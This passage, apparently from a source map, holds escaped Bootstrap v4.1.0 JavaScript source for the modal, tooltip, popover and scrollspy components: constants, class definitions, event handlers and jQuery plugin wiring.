${Selector.NAVBAR_TOGGLER}`).each((index, element) => {\n        const margin = $(element).data('margin-right')\n        if (typeof margin !== 'undefined') {\n          $(element).css('margin-right', margin).removeData('margin-right')\n        }\n      })\n\n      // Restore body padding\n      const padding = $(document.body).data('padding-right')\n      if (typeof padding !== 'undefined') {\n        $(document.body).css('padding-right', padding).removeData('padding-right')\n      }\n    }\n\n    _getScrollbarWidth() { // thx d.walsh\n      const scrollDiv = document.createElement('div')\n      scrollDiv.className = ClassName.SCROLLBAR_MEASURER\n      document.body.appendChild(scrollDiv)\n      const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth\n      document.body.removeChild(scrollDiv)\n      return scrollbarWidth\n    }\n\n    // Static\n\n    static _jQueryInterface(config, relatedTarget) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = {\n          ...Modal.Default,\n          ...$(this).data(),\n          ...typeof config === 'object' && config\n        }\n\n        if (!data) {\n          data = new Modal(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config](relatedTarget)\n        } else if (_config.show) {\n          data.show(relatedTarget)\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n    let target\n    const selector = Util.getSelectorFromElement(this)\n\n    if (selector) {\n      target = $(selector)[0]\n    }\n\n    const config = $(target).data(DATA_KEY)\n      ? 'toggle' : {\n        ...$(target).data(),\n        ...$(this).data()\n      }\n\n    if (this.tagName === 'A' || this.tagName === 'AREA') {\n      event.preventDefault()\n    }\n\n    const $target = $(target).one(Event.SHOW, (showEvent) => {\n      if (showEvent.isDefaultPrevented()) {\n        // Only register focus restorer if modal will actually get shown\n        return\n      }\n\n      $target.one(Event.HIDDEN, () => {\n        if ($(this).is(':visible')) {\n          this.focus()\n        }\n      })\n    })\n\n    Modal._jQueryInterface.call($(target), config, this)\n  })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Modal._jQueryInterface\n  $.fn[NAME].Constructor = Modal\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Modal._jQueryInterface\n  }\n\n  return Modal\n})($)\n\nexport default Modal\n","import $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): tooltip.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Tooltip = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME               = 'tooltip'\n  const VERSION            = '4.1.0'\n  const DATA_KEY           = 'bs.tooltip'\n  const EVENT_KEY          = `.${DATA_KEY}`\n  const JQUERY_NO_CONFLICT = $.fn[NAME]\n  const CLASS_PREFIX       = 'bs-tooltip'\n  const BSCLS_PREFIX_REGEX = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\n  const DefaultType = {\n    animation           : 'boolean',\n    template            : 'string',\n    title               : '(string|element|function)',\n    trigger             : 'string',\n    delay               : '(number|object)',\n    html                : 'boolean',\n    selector            : '(string|boolean)',\n    placement           : '(string|function)',\n    offset              : '(number|string)',\n    container           : '(string|element|boolean)',\n    fallbackPlacement   : '(string|array)',\n    boundary            : '(string|element)'\n  }\n\n  const AttachmentMap = {\n    AUTO   : 'auto',\n    TOP    : 'top',\n    RIGHT  : 'right',\n    BOTTOM : 'bottom',\n    LEFT   : 'left'\n  }\n\n  const Default = {\n    animation           : true,\n    template            : '<div class=\"tooltip\" role=\"tooltip\">' +\n                        '<div class=\"arrow\"></div>' +\n                        '<div class=\"tooltip-inner\"></div></div>',\n    trigger             : 'hover focus',\n    title               : '',\n    delay               : 0,\n    html                : false,\n    selector            : false,\n    placement           : 'top',\n    offset              : 0,\n    container           : false,\n    fallbackPlacement   : 'flip',\n    boundary            : 'scrollParent'\n  }\n\n  const HoverState = {\n    SHOW : 'show',\n    OUT  : 'out'\n  }\n\n  const Event = {\n    HIDE       : `hide${EVENT_KEY}`,\n    HIDDEN     : `hidden${EVENT_KEY}`,\n    SHOW       : `show${EVENT_KEY}`,\n    SHOWN      : `shown${EVENT_KEY}`,\n    INSERTED   : `inserted${EVENT_KEY}`,\n    CLICK      : `click${EVENT_KEY}`,\n    FOCUSIN    : `focusin${EVENT_KEY}`,\n    FOCUSOUT   : `focusout${EVENT_KEY}`,\n    MOUSEENTER : `mouseenter${EVENT_KEY}`,\n    MOUSELEAVE : `mouseleave${EVENT_KEY}`\n  }\n\n  const ClassName = {\n    FADE : 'fade',\n    SHOW : 'show'\n  }\n\n  const Selector = {\n    TOOLTIP       : '.tooltip',\n    TOOLTIP_INNER : '.tooltip-inner',\n    ARROW         : '.arrow'\n  }\n\n  const Trigger = {\n    HOVER  : 'hover',\n    FOCUS  : 'focus',\n    CLICK  : 'click',\n    MANUAL : 'manual'\n  }\n\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Tooltip {\n    constructor(element, config) {\n      /**\n       * Check for Popper dependency\n       * Popper - https://popper.js.org\n       */\n      if (typeof Popper === 'undefined') {\n        throw new TypeError('Bootstrap tooltips require Popper.js (https://popper.js.org)')\n      }\n\n      // private\n      this._isEnabled     = true\n      this._timeout       = 0\n      this._hoverState    = ''\n      this._activeTrigger = {}\n      this._popper        = null\n\n      // Protected\n      this.element = element\n      this.config  = this._getConfig(config)\n      this.tip     = null\n\n      this._setListeners()\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    static get NAME() {\n      return NAME\n    }\n\n    static get DATA_KEY() {\n      return DATA_KEY\n    }\n\n    static get Event() {\n      return Event\n    }\n\n    static get EVENT_KEY() {\n      return EVENT_KEY\n    }\n\n    static get DefaultType() {\n      return DefaultType\n    }\n\n    // Public\n\n    enable() {\n      this._isEnabled = true\n    }\n\n    disable() {\n      this._isEnabled = false\n    }\n\n    toggleEnabled() {\n      this._isEnabled = !this._isEnabled\n    }\n\n    toggle(event) {\n      if (!this._isEnabled) {\n        return\n      }\n\n      if (event) {\n        const dataKey = this.constructor.DATA_KEY\n        let context = $(event.currentTarget).data(dataKey)\n\n        if (!context) {\n          context = new this.constructor(\n            event.currentTarget,\n            this._getDelegateConfig()\n          )\n          $(event.currentTarget).data(dataKey, context)\n        }\n\n        context._activeTrigger.click = !context._activeTrigger.click\n\n        if (context._isWithActiveTrigger()) {\n          context._enter(null, context)\n        } else {\n          context._leave(null, context)\n        }\n      } else {\n        if ($(this.getTipElement()).hasClass(ClassName.SHOW)) {\n          this._leave(null, this)\n          return\n        }\n\n        this._enter(null, this)\n      }\n    }\n\n    dispose() {\n      clearTimeout(this._timeout)\n\n      $.removeData(this.element, this.constructor.DATA_KEY)\n\n      $(this.element).off(this.constructor.EVENT_KEY)\n      $(this.element).closest('.modal').off('hide.bs.modal')\n\n      if (this.tip) {\n        $(this.tip).remove()\n      }\n\n      this._isEnabled     = null\n      this._timeout       = null\n      this._hoverState    = null\n      this._activeTrigger = null\n      if (this._popper !== null) {\n        this._popper.destroy()\n      }\n\n      this._popper = null\n      this.element = null\n      this.config  = null\n      this.tip     = null\n    }\n\n    show() {\n      if ($(this.element).css('display') === 'none') {\n        throw new Error('Please use show on visible elements')\n      }\n\n      const showEvent = $.Event(this.constructor.Event.SHOW)\n      if (this.isWithContent() && this._isEnabled) {\n        $(this.element).trigger(showEvent)\n\n        const isInTheDom = $.contains(\n          this.element.ownerDocument.documentElement,\n          this.element\n        )\n\n        if (showEvent.isDefaultPrevented() || !isInTheDom) {\n          return\n        }\n\n        const tip   = this.getTipElement()\n        const tipId = Util.getUID(this.constructor.NAME)\n\n        tip.setAttribute('id', tipId)\n        this.element.setAttribute('aria-describedby', tipId)\n\n        this.setContent()\n\n        if (this.config.animation) {\n          $(tip).addClass(ClassName.FADE)\n        }\n\n        const placement  = typeof this.config.placement === 'function'\n          ? this.config.placement.call(this, tip, this.element)\n          : this.config.placement\n\n        const attachment = this._getAttachment(placement)\n        this.addAttachmentClass(attachment)\n\n        const container = this.config.container === false ? document.body : $(this.config.container)\n\n        $(tip).data(this.constructor.DATA_KEY, this)\n\n        if (!$.contains(this.element.ownerDocument.documentElement, this.tip)) {\n          $(tip).appendTo(container)\n        }\n\n        $(this.element).trigger(this.constructor.Event.INSERTED)\n\n        this._popper = new Popper(this.element, tip, {\n          placement: attachment,\n          modifiers: {\n            offset: {\n              offset: this.config.offset\n            },\n            flip: {\n              behavior: this.config.fallbackPlacement\n            },\n            arrow: {\n              element: Selector.ARROW\n            },\n            preventOverflow: {\n              boundariesElement: this.config.boundary\n            }\n          },\n          onCreate: (data) => {\n            if (data.originalPlacement !== data.placement) {\n              this._handlePopperPlacementChange(data)\n            }\n          },\n          onUpdate: (data) => {\n            this._handlePopperPlacementChange(data)\n          }\n        })\n\n        $(tip).addClass(ClassName.SHOW)\n\n        // If this is a touch-enabled device we add extra\n        // empty mouseover listeners to the body's immediate children;\n        // only needed because of broken event delegation on iOS\n        // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n        if ('ontouchstart' in document.documentElement) {\n          $(document.body).children().on('mouseover', null, $.noop)\n        }\n\n        const complete = () => {\n          if (this.config.animation) {\n            this._fixTransition()\n          }\n          const prevHoverState = this._hoverState\n          this._hoverState     = null\n\n          $(this.element).trigger(this.constructor.Event.SHOWN)\n\n          if (prevHoverState === HoverState.OUT) {\n            this._leave(null, this)\n          }\n        }\n\n        if ($(this.tip).hasClass(ClassName.FADE)) {\n          const transitionDuration = Util.getTransitionDurationFromElement(this.tip)\n\n          $(this.tip)\n            .one(Util.TRANSITION_END, complete)\n            .emulateTransitionEnd(transitionDuration)\n        } else {\n          complete()\n        }\n      }\n    }\n\n    hide(callback) {\n      const tip       = this.getTipElement()\n      const hideEvent = $.Event(this.constructor.Event.HIDE)\n      const complete = () => {\n        if (this._hoverState !== HoverState.SHOW && tip.parentNode) {\n          tip.parentNode.removeChild(tip)\n        }\n\n        this._cleanTipClass()\n        this.element.removeAttribute('aria-describedby')\n        $(this.element).trigger(this.constructor.Event.HIDDEN)\n        if (this._popper !== null) {\n          this._popper.destroy()\n        }\n\n        if (callback) {\n          callback()\n        }\n      }\n\n      $(this.element).trigger(hideEvent)\n\n      if (hideEvent.isDefaultPrevented()) {\n        return\n      }\n\n      $(tip).removeClass(ClassName.SHOW)\n\n      // If this is a touch-enabled device we remove the extra\n      // empty mouseover listeners we added for iOS support\n      if ('ontouchstart' in document.documentElement) {\n        $(document.body).children().off('mouseover', null, $.noop)\n      }\n\n      this._activeTrigger[Trigger.CLICK] = false\n      this._activeTrigger[Trigger.FOCUS] = false\n      this._activeTrigger[Trigger.HOVER] = false\n\n      if ($(this.tip).hasClass(ClassName.FADE)) {\n        const transitionDuration = Util.getTransitionDurationFromElement(tip)\n\n        $(tip)\n          .one(Util.TRANSITION_END, complete)\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        complete()\n      }\n\n      this._hoverState = ''\n    }\n\n    update() {\n      if (this._popper !== null) {\n        this._popper.scheduleUpdate()\n      }\n    }\n\n    // Protected\n\n    isWithContent() {\n      return Boolean(this.getTitle())\n    }\n\n    addAttachmentClass(attachment) {\n      $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n    }\n\n    getTipElement() {\n      this.tip = this.tip || $(this.config.template)[0]\n      return this.tip\n    }\n\n    setContent() {\n      const $tip = $(this.getTipElement())\n      this.setElementContent($tip.find(Selector.TOOLTIP_INNER), this.getTitle())\n      $tip.removeClass(`${ClassName.FADE} ${ClassName.SHOW}`)\n    }\n\n    setElementContent($element, content) {\n      const html = this.config.html\n      if (typeof content === 'object' && (content.nodeType || content.jquery)) {\n        // Content is a DOM node or a jQuery\n        if (html) {\n          if (!$(content).parent().is($element)) {\n            $element.empty().append(content)\n          }\n        } else {\n          $element.text($(content).text())\n        }\n      } else {\n        $element[html ? 'html' : 'text'](content)\n      }\n    }\n\n    getTitle() {\n      let title = this.element.getAttribute('data-original-title')\n\n      if (!title) {\n        title = typeof this.config.title === 'function'\n          ? this.config.title.call(this.element)\n          : this.config.title\n      }\n\n      return title\n    }\n\n    // Private\n\n    _getAttachment(placement) {\n      return AttachmentMap[placement.toUpperCase()]\n    }\n\n    _setListeners() {\n      const triggers = this.config.trigger.split(' ')\n\n      triggers.forEach((trigger) => {\n        if (trigger === 'click') {\n          $(this.element).on(\n            this.constructor.Event.CLICK,\n            this.config.selector,\n            (event) => this.toggle(event)\n          )\n        } else if (trigger !== Trigger.MANUAL) {\n          const eventIn = trigger === Trigger.HOVER\n            ? this.constructor.Event.MOUSEENTER\n            : this.constructor.Event.FOCUSIN\n          const eventOut = trigger === Trigger.HOVER\n            ? this.constructor.Event.MOUSELEAVE\n            : this.constructor.Event.FOCUSOUT\n\n          $(this.element)\n            .on(\n              eventIn,\n              this.config.selector,\n              (event) => this._enter(event)\n            )\n            .on(\n              eventOut,\n              this.config.selector,\n              (event) => this._leave(event)\n            )\n        }\n\n        $(this.element).closest('.modal').on(\n          'hide.bs.modal',\n          () => this.hide()\n        )\n      })\n\n      if (this.config.selector) {\n        this.config = {\n          ...this.config,\n          trigger: 'manual',\n          selector: ''\n        }\n      } else {\n        this._fixTitle()\n      }\n    }\n\n    _fixTitle() {\n      const titleType = typeof this.element.getAttribute('data-original-title')\n      if (this.element.getAttribute('title') ||\n         titleType !== 'string') {\n        this.element.setAttribute(\n          'data-original-title',\n          this.element.getAttribute('title') || ''\n        )\n        this.element.setAttribute('title', '')\n      }\n    }\n\n    _enter(event, context) {\n      const dataKey = this.constructor.DATA_KEY\n\n      context = context || $(event.currentTarget).data(dataKey)\n\n      if (!context) {\n        context = new this.constructor(\n          event.currentTarget,\n          this._getDelegateConfig()\n        )\n        $(event.currentTarget).data(dataKey, context)\n      }\n\n      if (event) {\n        context._activeTrigger[\n          event.type === 'focusin' ? Trigger.FOCUS : Trigger.HOVER\n        ] = true\n      }\n\n      if ($(context.getTipElement()).hasClass(ClassName.SHOW) ||\n         context._hoverState === HoverState.SHOW) {\n        context._hoverState = HoverState.SHOW\n        return\n      }\n\n      clearTimeout(context._timeout)\n\n      context._hoverState = HoverState.SHOW\n\n      if (!context.config.delay || !context.config.delay.show) {\n        context.show()\n        return\n      }\n\n      context._timeout = setTimeout(() => {\n        if (context._hoverState === HoverState.SHOW) {\n          context.show()\n        }\n      }, context.config.delay.show)\n    }\n\n    _leave(event, context) {\n      const dataKey = this.constructor.DATA_KEY\n\n      context = context || $(event.currentTarget).data(dataKey)\n\n      if (!context) {\n        context = new this.constructor(\n          event.currentTarget,\n          this._getDelegateConfig()\n        )\n        $(event.currentTarget).data(dataKey, context)\n      }\n\n      if (event) {\n        context._activeTrigger[\n          event.type === 'focusout' ? Trigger.FOCUS : Trigger.HOVER\n        ] = false\n      }\n\n      if (context._isWithActiveTrigger()) {\n        return\n      }\n\n      clearTimeout(context._timeout)\n\n      context._hoverState = HoverState.OUT\n\n      if (!context.config.delay || !context.config.delay.hide) {\n        context.hide()\n        return\n      }\n\n      context._timeout = setTimeout(() => {\n        if (context._hoverState === HoverState.OUT) {\n          context.hide()\n        }\n      }, context.config.delay.hide)\n    }\n\n    _isWithActiveTrigger() {\n      for (const trigger in this._activeTrigger) {\n        if (this._activeTrigger[trigger]) {\n          return true\n        }\n      }\n\n      return false\n    }\n\n    _getConfig(config) {\n      config = {\n        ...this.constructor.Default,\n        ...$(this.element).data(),\n        ...config\n      }\n\n      if (typeof config.delay === 'number') {\n        config.delay = {\n          show: config.delay,\n          hide: config.delay\n        }\n      }\n\n      if (typeof config.title === 'number') {\n        config.title = config.title.toString()\n      }\n\n      if (typeof config.content === 'number') {\n        config.content = config.content.toString()\n      }\n\n      Util.typeCheckConfig(\n        NAME,\n        config,\n        this.constructor.DefaultType\n      )\n\n      return config\n    }\n\n    _getDelegateConfig() {\n      const config = {}\n\n      if (this.config) {\n        for (const key in this.config) {\n          if (this.constructor.Default[key] !== this.config[key]) {\n            config[key] = this.config[key]\n          }\n        }\n      }\n\n      return config\n    }\n\n    _cleanTipClass() {\n      const $tip = $(this.getTipElement())\n      const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n      if (tabClass !== null && tabClass.length > 0) {\n        $tip.removeClass(tabClass.join(''))\n      }\n    }\n\n    _handlePopperPlacementChange(data) {\n      this._cleanTipClass()\n      this.addAttachmentClass(this._getAttachment(data.placement))\n    }\n\n    _fixTransition() {\n      const tip = this.getTipElement()\n      const initConfigAnimation = this.config.animation\n      if (tip.getAttribute('x-placement') !== null) {\n        return\n      }\n      $(tip).removeClass(ClassName.FADE)\n      this.config.animation = false\n      this.hide()\n      this.show()\n      this.config.animation = initConfigAnimation\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = typeof config === 'object' && config\n\n        if (!data && /dispose|hide/.test(config)) {\n          return\n        }\n\n        if (!data) {\n          data = new Tooltip(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Tooltip._jQueryInterface\n  $.fn[NAME].Constructor = Tooltip\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Tooltip._jQueryInterface\n  }\n\n  return Tooltip\n})($, Popper)\n\nexport default Tooltip\n","import $ from 'jquery'\nimport Tooltip from './tooltip'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): popover.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Popover = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                = 'popover'\n  const VERSION             = '4.1.0'\n  const DATA_KEY            = 'bs.popover'\n  const EVENT_KEY           = `.${DATA_KEY}`\n  const JQUERY_NO_CONFLICT  = $.fn[NAME]\n  const CLASS_PREFIX        = 'bs-popover'\n  const BSCLS_PREFIX_REGEX  = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\n  const Default = {\n    ...Tooltip.Default,\n    placement : 'right',\n    trigger   : 'click',\n    content   : '',\n    template  : '<div class=\"popover\" role=\"tooltip\">' +\n                '<div class=\"arrow\"></div>' +\n                '<h3 class=\"popover-header\"></h3>' +\n                '<div class=\"popover-body\"></div></div>'\n  }\n\n  const DefaultType = {\n    ...Tooltip.DefaultType,\n    content : '(string|element|function)'\n  }\n\n  const ClassName = {\n    FADE : 'fade',\n    SHOW : 'show'\n  }\n\n  const Selector = {\n    TITLE   : '.popover-header',\n    CONTENT : '.popover-body'\n  }\n\n  const Event = {\n    HIDE       : `hide${EVENT_KEY}`,\n    HIDDEN     : `hidden${EVENT_KEY}`,\n    SHOW       : `show${EVENT_KEY}`,\n    SHOWN      : `shown${EVENT_KEY}`,\n    INSERTED   : `inserted${EVENT_KEY}`,\n    CLICK      : `click${EVENT_KEY}`,\n    FOCUSIN    : `focusin${EVENT_KEY}`,\n    FOCUSOUT   : `focusout${EVENT_KEY}`,\n    MOUSEENTER : `mouseenter${EVENT_KEY}`,\n    MOUSELEAVE : `mouseleave${EVENT_KEY}`\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Popover extends Tooltip {\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    static get NAME() {\n      return NAME\n    }\n\n    static get DATA_KEY() {\n      return DATA_KEY\n    }\n\n    static get Event() {\n      return Event\n    }\n\n    static get EVENT_KEY() {\n      return EVENT_KEY\n    }\n\n    static get DefaultType() {\n      return DefaultType\n    }\n\n    // Overrides\n\n    isWithContent() {\n      return this.getTitle() || this._getContent()\n    }\n\n    addAttachmentClass(attachment) {\n      $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n    }\n\n    getTipElement() {\n      this.tip = this.tip || $(this.config.template)[0]\n      return this.tip\n    }\n\n    setContent() {\n      const $tip = $(this.getTipElement())\n\n      // We use append for html objects to maintain js events\n      this.setElementContent($tip.find(Selector.TITLE), this.getTitle())\n      let content = this._getContent()\n      if (typeof content === 'function') {\n        content = content.call(this.element)\n      }\n      this.setElementContent($tip.find(Selector.CONTENT), content)\n\n      $tip.removeClass(`${ClassName.FADE} ${ClassName.SHOW}`)\n    }\n\n    // Private\n\n    _getContent() {\n      return this.element.getAttribute('data-content') ||\n        this.config.content\n    }\n\n    _cleanTipClass() {\n      const $tip = $(this.getTipElement())\n      const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n      if (tabClass !== null && tabClass.length > 0) {\n        $tip.removeClass(tabClass.join(''))\n      }\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = typeof config === 'object' ? config : null\n\n        if (!data && /destroy|hide/.test(config)) {\n          return\n        }\n\n        if (!data) {\n          data = new Popover(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Popover._jQueryInterface\n  $.fn[NAME].Constructor = Popover\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Popover._jQueryInterface\n  }\n\n  return Popover\n})($)\n\nexport default Popover\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): scrollspy.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst ScrollSpy = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME               = 'scrollspy'\n  const VERSION            = '4.1.0'\n  const DATA_KEY           = 'bs.scrollspy'\n  const EVENT_KEY          = `.${DATA_KEY}`\n  const DATA_API_KEY       = '.data-api'\n  const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n  const Default = {\n    offset : 10,\n    method : 'auto',\n    target : ''\n  }\n\n  const DefaultType = {\n    offset : 'number',\n    method : 'string',\n    target : '(string|element)'\n  }\n\n  const Event = {\n    ACTIVATE      : `activate${EVENT_KEY}`,\n    SCROLL        : `scroll${EVENT_KEY}`,\n    LOAD_DATA_API : `load${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    DROPDOWN_ITEM : 'dropdown-item',\n    DROPDOWN_MENU : 'dropdown-menu',\n    ACTIVE        : 'active'\n  }\n\n  const Selector = {\n    DATA_SPY        : '[data-spy=\"scroll\"]',\n    ACTIVE          : '.active',\n    NAV_LIST_GROUP  : '.nav, .list-group',\n    NAV_LINKS       : '.nav-link',\n    NAV_ITEMS       : '.nav-item',\n    LIST_ITEMS      : '.list-group-item',\n    DROPDOWN        : '.dropdown',\n    DROPDOWN_ITEMS  : '.dropdown-item',\n    DROPDOWN_TOGGLE : '.dropdown-toggle'\n  }\n\n  const OffsetMethod = {\n    OFFSET   : 'offset',\n    POSITION : 'position'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class ScrollSpy {\n    constructor(element, config) {\n      this._element       = element\n      this._scrollElement = element.tagName === 'BODY' ? window : element\n      this._config        = this._getConfig(config)\n      this._selector      = `${this._config.target} ${Selector.NAV_LINKS},` +\n                            `${this._config.target} ${Selector.LIST_ITEMS},` +\n                            `${this._config.target} ${Selector.DROPDOWN_ITEMS}`\n      this._offsets       = []\n      this._targets       = []\n      this._activeTarget  = null\n      this._scrollHeight  = 0\n\n      $(this._scrollElement).on(Event.SCROLL, (event) => this._process(event))\n\n      this.refresh()\n      this._process()\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    // Public\n\n    refresh() {\n      const autoMethod = this._scrollElement === this._scrollElement.window\n        ? OffsetMethod.OFFSET : OffsetMethod.POSITION\n\n      const offsetMethod = this._config.method === 'auto'\n        ? autoMethod : this._config.method\n\n      const offsetBase = offsetMethod === OffsetMethod.POSITION\n        ? this._getScrollTop() : 0\n\n      this._offsets = []\n      this._targets = []\n\n      this._scrollHeight = this._getScrollHeight()\n\n      const targets = $.makeArray($(this._selector))\n\n      targets\n        .map((element) => {\n          let target\n          const targetSelector = Util.getSelectorFromElement(element)\n\n          if (targetSelector) {\n            target = $(targetSelector)[0]\n          }\n\n          if (target) {\n            const targetBCR = target.getBoundingClientRect()\n            if (targetBCR.width || targetBCR.height) {\n              // TODO (fat): remove sketch reliance on jQuery position/offset\n              return [\n                $(target)[offsetMethod]().top + offsetBase,\n                targetSelector\n              ]\n            }\n          }\n          return null\n        })\n        .filter((item) => item)\n        .sort((a, b) => a[0] - b[0])\n        .forEach((item) => {\n          this._offsets.push(item[0])\n          this._targets.push(item[1])\n        })\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      $(this._scrollElement).off(EVENT_KEY)\n\n      this._element       = null\n      this._scrollElement = null\n      this._config        = null\n      this._selector      = null\n      this._offsets       = null\n      this._targets       = null\n      this._activeTarget  = null\n      this._scrollHeight  = null\n    }\n\n    // Private\n\n    _getConfig(config) {\n      config = {\n        ...Default,\n        ...config\n      }\n\n      if (typeof config.target !== 'string') {\n        let id = $(config.target).attr('id')\n        if (!id) {\n          id = Util.getUID(NAME)\n          $(config.target).attr('id', id)\n        }\n        config.target = `#${id}`\n      }\n\n      Util.typeCheckConfig(NAME, config, DefaultType)\n\n      return config\n    }\n\n    _getScrollTop() {\n      return this._scrollElement === window\n        ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop\n    }\n\n    _getScrollHeight() {\n      return this._scrollElement.scrollHeight || Math.max(\n        document.body.scrollHeight,\n        document.documentElement.scrollHeight\n      )\n    }\n\n    _getOffsetHeight() {\n      return this._scrollElement === window\n        ? window.innerHeight : this._scrollElement.getBoundingClientRect().height\n    }\n\n    _process() {\n      const scrollTop    = this._getScrollTop() + this._config.offset\n      const scrollHeight = this._getScrollHeight()\n      const maxScroll    = this._config.offset +\n        scrollHeight -\n        this._getOffsetHeight()\n\n      if (this._scrollHeight !== scrollHeight) {\n        this.refresh()\n      }\n\n      if (scrollTop >= maxScroll) {\n        const target = this._targets[this._targets.length - 1]\n\n        if (this._activeTarget !== target) {\n          this._activate(target)\n        }\n        return\n      }\n\n      if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) {\n        this._activeTarget = null\n        this._clear()\n        return\n      }\n\n      for (let i = this._offsets.length; i--;) {\n        const isActiveTarget = this._activeTarget !== this._targets[i] &&\n            scrollTop >= this._offsets[i] &&\n            (typeof this._offsets[i + 1] === 'undefined' ||\n                scrollTop < this._offsets[i + 1])\n\n        if (isActiveTarget) {\n          this._activate(this._targets[i])\n        }\n      }\n    }\n\n    _activate(target) {\n      this._activeTarget = target\n\n      this._clear()\n\n      let queries = this._selector.split(',')\n      // eslint-disable-next-line arrow-body-style\n      queries = queries.map((selector) => {\n        return `${selector}[data-target=\"${target}\"],` +\n               `${selector}[href=\"${target}\"]`\n      })\n\n      const $link = $(queries.join(','))\n\n      if ($link.hasClass(ClassName.DROPDOWN_ITEM)) {\n        $link.closest(Selector.DROPDOWN).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE)\n        $link.addClass(ClassName.ACTIVE)\n      } else {\n        // Set triggered link as active\n        $link.addClass(ClassName.ACTIVE)\n        // Set triggered links parents as active\n        // With both <ul> and <nav> markup a parent is the previous sibling of any nav ancestor\n        $link.parents(Selector.NAV_LIST_GROUP).prev(`${Selector.NAV_LINKS}, ${Selector.LIST_ITEMS}`).addClass(ClassName.ACTIVE)\n        // Handle special case when .nav-link is inside .nav-item\n        $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_ITEMS).children(Selector.NAV_LINKS).addClass(ClassName.ACTIVE)\n      }\n\n      $(this._scrollElement).trigger(Event.ACTIVATE, {\n        relatedTarget: target\n      })\n    }\n\n    _clear() {\n      $(this._selector).filter(Selector.ACTIVE).removeClass(ClassName.ACTIVE)\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = typeof config === 'object' && config\n\n        if (!data) {\n          data = new ScrollSpy(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  